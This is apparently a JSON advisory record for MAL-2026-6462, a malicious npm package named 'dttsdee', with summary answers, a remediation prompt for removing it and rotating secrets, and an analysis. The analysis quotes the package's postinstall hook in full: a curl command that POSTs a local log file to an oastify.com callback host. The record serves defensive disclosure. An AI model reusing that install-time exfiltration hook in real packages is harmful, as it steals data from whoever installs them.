{"answers":{"affected":"1 open source package ship an affected version, including dttsdee.","exploited":"There is no known exploitation of MAL-2026-6462 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-6462 is a malicious package in dttsdee, published on 25 Jun 2026."},"fix_prompt":"MAL-2026-6462 is a malicious package: dttsdee (npm). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-6462/ (Markdown: https://insights.sbomify.com/MAL-2026-6462/index.md)","id":"MAL-2026-6462","markdown":"https://insights.sbomify.com/MAL-2026-6462/index.md","name":"MAL-2026-6462","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"package.json declares a postinstall lifecycle script that runs automatically on `npm install`: `curl -X POST -d \"$(cat /data/logs/monitor-2026-06-25.log)\" http://3dhd6wwmusbh04m22igmzvb4hvnmblza.oastify.com/data`. The hook reads a file from the installer's filesystem and POSTs its contents over cleartext HTTP to an attacker-controlled subdomain on oastify.com (Burp Suite's Collaborator out-of-band callback service, commonly used for data exfiltration and SSRF research). The package advertises itself as a string-utility library (`easy-string-kit` in source) but is published under the unrelated name `dttsdee` with empty author/repository/homepage/bugs metadata; the innocuous string-helper code in index.js is cover for the install-time exfiltration. The combination of generic placeholder metadata, mismatched name/internal-description, and an automatic OOB exfil beacon on a researcher/attacker callback domain is a throwaway malicious package (likely dependency-confusion PoC or active attack).\n\nThe OpenSSF Package Analysis project identified 'dttsdee' @ 1.0.0 (npm) as malicious.\n\nIt is considered malicious because:\n\n- The package communicates with a domain associated with malicious activity.\n\n- The package executes one or more commands associated with malicious behavior.","ecosystems":["npm"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in dttsdee (npm)","id":"MAL-2026-6462","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"npm","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"npm","fixed":[],"introduced":[],"last_affected":[],"package":"dttsdee","purl":"pkg:npm/dttsdee","source":"MAL-2026-6462"}],"products":null,"published":"2026-06-25","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-6462/"}